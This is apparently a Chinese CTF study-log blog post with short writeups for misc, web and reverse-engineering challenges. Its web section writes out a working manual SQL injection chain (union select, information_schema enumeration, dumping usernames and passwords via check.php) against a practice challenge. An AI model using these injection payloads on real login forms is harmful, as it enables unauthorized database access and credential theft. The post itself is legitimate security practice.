2.5学习记录

misc

文件中的秘密

打开附件后用随波逐流一把梭就可以了

被嗅探的流量

这题根据提示需要追踪到请求,在过滤栏输入:

php 复制代码
 http.request.method == "POST" 

在第二个包的结尾发现了

后门查杀

这个题打开附件发现一大堆,同时触发火绒监控根据提示后门密码就是flag,在vscode里面找到了

web

[极客大挑战 2019]LoveSQL

上方提示所以应该是只能手注了随便输一下发现可以交互,判断闭合方式判断应该是单引号闭合,试试万能密码发现没得到flag,但是找到了回显地址

进行联合注入发现2和3有回显位置
继续查询密码处输入1' union select 1,2,database()#
查询数据库接着爆表名1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#
1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#

爆列名1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
两个表爆出来都是这个,接着爆内容

php 复制代码
/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

太长了查看源码在密码最后发现flag了

re

reverse3

先查壳没壳,放进ida查看,先找到主调函数

cpp 复制代码
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax
  const char *v4; // eax
  size_t v5; // eax
  char v7; // [esp+0h] [ebp-188h]
  char v8; // [esp+0h] [ebp-188h]
  signed int j; // [esp+DCh] [ebp-ACh]
  int i; // [esp+E8h] [ebp-A0h]
  signed int v11; // [esp+E8h] [ebp-A0h]
  char Destination[108]; // [esp+F4h] [ebp-94h] BYREF
  char Str[28]; // [esp+160h] [ebp-28h] BYREF
  char v14[8]; // [esp+17Ch] [ebp-Ch] BYREF

  for ( i = 0; i < 100; ++i )
  {
    if ( (unsigned int)i >= 0x64 )
      j____report_rangecheckfailure();
    Destination[i] = 0;
  }
  sub_41132F("please enter the flag:", v7);
  sub_411375("%20s", (char)Str);
  v3 = j_strlen(Str);
  v4 = (const char *)sub_4110BE(Str, v3, v14);
  strncpy(Destination, v4, 0x28u);
  v11 = j_strlen(Destination);
  for ( j = 0; j < v11; ++j )
    Destination[j] += j;
  v5 = j_strlen(Destination);
  if ( !strncmp(Destination, Str2, v5) )
    sub_41132F("rigth flag!\n", v8);
  else
    sub_41132F("wrong flag!\n", v8);
  return 0;
}

这里关键是识别函数

cpp 复制代码
v4 = (const char *)sub_4110BE(Str, v3, v14)

这是一个base64加密的函数,点进去查看发现是没有换表的加密接下来去找密文

exp:

python 复制代码
import base64

str2='e3nifIH9b_C@n@dH'
flag=''

for i in range(0,len(str2)):
    flag+=chr(ord(str2[i])-i)

print("加密:{}".format(flag))
print("解密:{}".format(base64.b64decode(flag).decode('utf-8')))

happy new year

拿到附件先查壳发现upx壳,用kali脱壳找到主调函数根据函数解析,得到flag为str2

不一样的flag

查壳32位程序,没壳,用ida查看主调函数发现1234控制上下左右,说明是个迷宫问题,先确定迷宫大小根据:

c 复制代码
 if ( v5 == 2 )
    {
      ++*(_DWORD *)&v3[25];
    }
    else if ( v5 > 2 )
    {
      if ( v5 == 3 )
      {
        --v4;

判断迷宫是5*5大小

*1111

01000

01010

00010

1111#

从 *走到#号

222441144222就是flag

相关推荐
西岸行者5 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
悠哉悠哉愿意5 天前
【单片机学习笔记】串口、超声波、NE555的同时使用
笔记·单片机·学习
别催小唐敲代码5 天前
嵌入式学习路线
学习
毛小茛5 天前
计算机系统概论——校验码
学习
babe小鑫5 天前
大专经济信息管理专业学习数据分析的必要性
学习·数据挖掘·数据分析
winfreedoms6 天前
ROS2知识大白话
笔记·学习·ros2
在这habit之下6 天前
Linux Virtual Server(LVS)学习总结
linux·学习·lvs
我想我不够好。6 天前
2026.2.25监控学习
学习
im_AMBER6 天前
Leetcode 127 删除有序数组中的重复项 | 删除有序数组中的重复项 II
数据结构·学习·算法·leetcode
CodeJourney_J6 天前
从“Hello World“ 开始 C++
c语言·c++·学习